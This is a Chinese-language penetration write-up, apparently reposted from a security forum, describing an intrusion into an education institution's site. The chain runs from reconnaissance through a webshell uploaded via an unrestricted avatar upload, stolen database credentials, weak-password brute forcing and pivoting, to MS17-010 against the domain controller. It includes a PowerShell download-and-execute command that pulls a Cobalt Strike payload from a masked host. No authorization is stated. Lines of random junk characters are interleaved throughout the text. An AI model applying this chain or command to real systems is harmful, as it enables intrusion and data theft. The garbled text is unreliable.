, A( @& ^0 R4 T+ C* x- B* ~
这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路3 n) _8 _2 h- Q/ ?% ?
: g+ N& w1 `' N8 f
j8 o# A" F% E' s. p8 o$ M
$ P* C6 C: ~6 N- }! o! L: Z9 L - L2 n+ @( |: w
7 Z" b; ?" o, q4 f 正文
# C/ g$ Y# [. l0 Q) _ ; n& E0 M ?4 l
6 I: r. N, \- c$ d! a) E* z9 K % W$ R, h8 R8 A# w: B8 a
; v. A( G8 g, {+ V/ L+ Q4 M4 c6 b7 L; h
目标:www.xxxx.com(一家教育机构) - z, @) {/ U8 m* W5 w
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
- o( k+ b' o0 H: R3 \1 Z
. g5 k. H7 g: | a& t+ a, _$ b4 `! J; H, B3 I5 L
9 V# A; z/ S1 F/ _# X
1 @8 {* r5 c1 ~' Y% |6 x" h7 e- y5 ] V
进行了简单的信息搜集
$ C8 @7 o, S7 B" `; u! Y 7 j) E; D8 Q; ^
1 P) b4 U \8 y3 K/ w8 p 6 f( ~: Y. O# r4 L
4 h& [% L/ O5 m4 u, h6 Y1 S+ X 子域名搜集) `* i; V* {0 ^5 }3 D: l; {
. l2 e N% @1 _! ^7 j6 @& c7 T
7 |% L) D: I) g& t6 a4 t
- F2 _: a, H- O- C* O. g3 S
9 {5 Q( A7 B0 D
' b- K+ T8 X, _+ X fofa找资产
& _! l7 C, u$ [# _ / V3 Z6 I: s0 ]
. ?/ [6 S5 e& y) \$ r* E
1 q: R% N6 A( m& @# ~3 L. H
4 A# W7 j4 }; `0 J' W/ ~
" e$ V6 }; P& ^1 Q. t8 C. t
: E1 a& ] U/ L
" y" @% {0 F7 |8 q 一共七个资产。去重之后只有两个。 ) ^7 C5 t$ m; q1 n. y
$ x6 ?) c3 x2 {: ]5 V6 b- X9 J- R' k
* v$ A1 s" h6 U
8 a( L1 O4 q2 I4 M" f9 @2 z! | Z: N* j s& h
目录探测
/ x4 U* y* ^0 l# |& u
" b2 N, y% I8 a* A2 z/ O
) u, B& Y: A5 ` ! _* O# F) F- [* {6 g) n
( e5 Z7 t+ _" K! K) t
" [/ o' K( u" \/ c6 [: s 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
$ }, R- R( u i1 S+ G 8 t. m1 a! B' Y: [* }! Q2 w* h
1 _- r' w9 t- d) j I% B
N) e0 b* q; v" T' p
: d3 k8 Z: g" e 我又尝试了通过修改返回包来绕过登录界面
5 I3 k, ]/ q' [, ^0 N3 Z$ A5 R0 O3 M- E * m& D% [2 D( y( f) g
- u5 D- s+ ?% q/ u . f; {1 a3 r: i) B- d% Z; e3 z
# R. w# p) _* \, {5 d" X
# Q) Y1 B) L$ F6 e3 X5 `& i
还是不行,尝试注入无果
2 ? Z A/ k3 z y/ |
8 c( d a, H# G
- ?# Y3 N2 n: \- [. b' F# { 1 o: O2 X9 R4 g" q% \7 G
2 P, }" o- | g F$ ?
5 c7 q- ]* b# U- z: l 不过我目录探测出了一处Spring信息泄露
8 f7 L- P) K: c' [9 K$ e
- R/ [/ W" e6 L. l+ ^# x
. t1 A" a7 K2 e$ o K5 o$ c+ z
! m) c! q4 H& E$ S. h
& u: e# w1 l3 a' l# v" M 2 Y2 i! s! ]& m0 ~
3 k" J: c8 e1 n5 k% M# H$ h8 s! D
0 |3 D3 D& v% r5 P& B6 f6 K! w8 X& b 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录
6 E& b' b( l% j8 W8 |( o+ s
% z! [) `3 n3 m. p' P& U6 _9 h
7 [% t0 }) T; z \9 m% C
8 V' b6 a) z" a4 p1 o9 u% Y : H3 B j0 |& R1 ?! g' Y% o; t0 ]
) \5 U T0 a I$ n
后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。
) z/ p8 [ g% X
4 `5 g5 x+ k7 U" I6 L4 |3 }# r+ T3 }4 ?
0 }# i* l+ ]; M9 I- c0 J$ r7 ~
' t* |6 k5 [1 w: B
- ~; h0 Y& `# ] 获取有些师傅到这一步就手机抓包电脑测了。
% A: F. p% u7 Z+ s. K6 U/ A: L6 K
$ b' @2 N# f& H1 p2 \6 p- I/ t/ \3 M1 e6 I* s- Q
Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。" N1 `8 J3 ]' {" ~0 e7 Z6 U" m" I* S
5 R9 _7 u/ \6 z
# T$ b. {% j2 z% }" s 其中在一个公众号发现了小程序,可以进行注册。1 R9 x$ F! x8 @
3 X% f/ L* q7 Y& F8 C8 P' j! P6 ~
) g) `' O1 T5 m3 j9 ^
看到了头像上传,尝试上传获取WebShell
6 L# Q9 I. L- M- h# h9 S 7 g9 d. x+ `: n% C
' a8 l( U1 X6 w3 c2 M1 }, n: ~
3 a3 d7 j* d) x ) W' R! k/ t1 A( R. h% b
9 r% e y' ^' p$ {8 {: |5 I' D
未做任何限制成功GetShell,上了冰蝎马,目录没权限访问
: F2 ^4 g1 @3 |* Q& ~ * k8 u+ L# Q9 w# d5 Z. H2 J
9 o* t9 i3 N7 c5 V# l+ C; } 2 U g5 t U9 u" I6 S% t% L
1 X6 C3 Z( U6 a" w# \" k' U
* [9 x# Y- G+ c4 {8 @/ l7 G5 F% O
然后上了大马
; u0 ~0 I" M* D( r, i5 ` ; ?: o# a$ t0 _7 X5 A9 M
3 Y. i' S* r$ n( f5 a
# O1 S$ \0 g x* Y 0 a- Z8 o+ O3 b7 c
! J9 j% F1 L1 B# R/ \
9 `1 B. m% _& q* ^. o5 s$ c
3 P$ P; J% h: k0 R- L
. D. p) \8 g, s# x. G 通过翻找文件发现数据库账号密码
! y6 O+ q( p$ K. d ' S1 w1 \' m8 ?# p" @6 w5 C6 C6 B6 i3 w
6 x( l& O d+ Q7 G! N1 \ A9 C3 {
9 d" p4 `3 K$ i# m 3 ?* V [/ u0 J1 r
* O$ ?+ y% I4 K9 m2 M% i [( X, z --内网渗透
1 F; O8 v2 ?' j! ? / ~3 P1 n; x G8 n$ t' n2 J3 b
- ^" ^7 e1 H! e1 x 直接通过powershell执行 cs上线: q! A Q/ ^9 U8 v3 ~' N, i" l
' d6 i/ y* f. t% d" s; z; E" l
_6 u+ o' L0 D& b* u powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"
3 ~6 P. h9 u" L, `+ X 2 Z+ t% l+ B0 l: L- \; o
4 g8 j+ g( S% \. E
5 A [. @8 [0 l7 ?4 k2 e# U& x " n1 _# i; q7 ]# M. C; Z
2 ]8 f2 K' f3 d& ^
进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破
7 U) r. }* ]) h, G 0 F& o. N2 V3 [" x. Y5 W2 |( L( f
8 n+ K8 x+ L5 K+ R. a3 N
- Z$ {& `5 Q$ m. h : V& c8 `2 |9 q' F1 `% v+ E; ]2 }
9 F) K8 p4 q$ }( t( i9 I- R* F
登录爆破出来的服务器,发现多网卡且存在逻辑隔离。 / v- P2 |5 U( P, a
$ |+ v/ g. s. V
+ Z; T0 `; I3 s7 t2 p' }, X/ T( Q0 ~: C% ~% a6 s U8 j, L
+ g$ X4 u% K6 V/ a# ~* v: P
1 o" y' n5 ^+ m5 R$ e+ [1 I: H & f& y! q( c/ z: X- ^
4 n% o& e! S6 x7 K3 u; B' f% A
9 n. I1 j! q* e9 F4 \: C, \ 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭 x; a1 ~( l2 b( F, o0 k
+ O3 @. Q' h+ k! u! X
# k; a7 E6 r" N ) o- b y$ A" P9 V% M' l+ E+ d
1 K% b3 A: @( V$ Z5 S
$ `7 Z8 W$ `# {; v% G6 [. R# R s! p" \0 J! s _) }
3 p* D( M I$ Z4 Q9 e1 l. ~; g
2 {4 g& \* t0 x2 ~/ }
4 l& F. q" F) ~& a
4 ^$ w8 M$ U: B; W$ D/ r2 S
6 j4 s. h3 a( x8 E {
! k1 I8 f$ G+ }" d. K+ U D% C
9 p# |+ z ^; g. f) L 8 C( F$ s2 n( f
8 r0 m- W" ]! W% y
小结8 F+ J7 ^, F/ }: p* D3 l3 X
$ q+ u9 Z" _$ e: M8 W5 X4 |6 o7 W( M! N: [2 E( V% S5 S$ r
g# v' i6 B# W* }; A( ?; J# ]
3 k3 C# _8 R. y! l
& F) T0 b: ~2 _2 Z6 V/ W 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!
% G# p3 q) ^, j/ t5 u0 i7 g ' C+ s5 S! ~" r0 i
0 q8 F5 Q7 b4 Z: p, I) \ h) N
3 U6 y/ ?3 j( a, k9 t: W . w! J: y! v8 Y' x4 z: Q5 Y) m
3 b2 L' M3 q, v; R! u
- & C i& T$ x5 J/ C
( P" y1 S) L: h
0 p# k( u- G; B; a Y% t - ) o& W1 u& q' e. f$ n
" H- D$ w+ r1 N# z! J; Z1 z% v
7 [* M" @. R3 ?: }& S l( s1 U
; A% M, r: R7 c x0 ^& O9 h' s/ o+ o" `& M2 V8 I, e
作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html$ l( m0 u8 k1 Z" [4 V
: K' v5 U) `4 i
6 ?2 d8 k$ l" V* s & Z5 m* m% V! l- U' c4 }6 p: u
|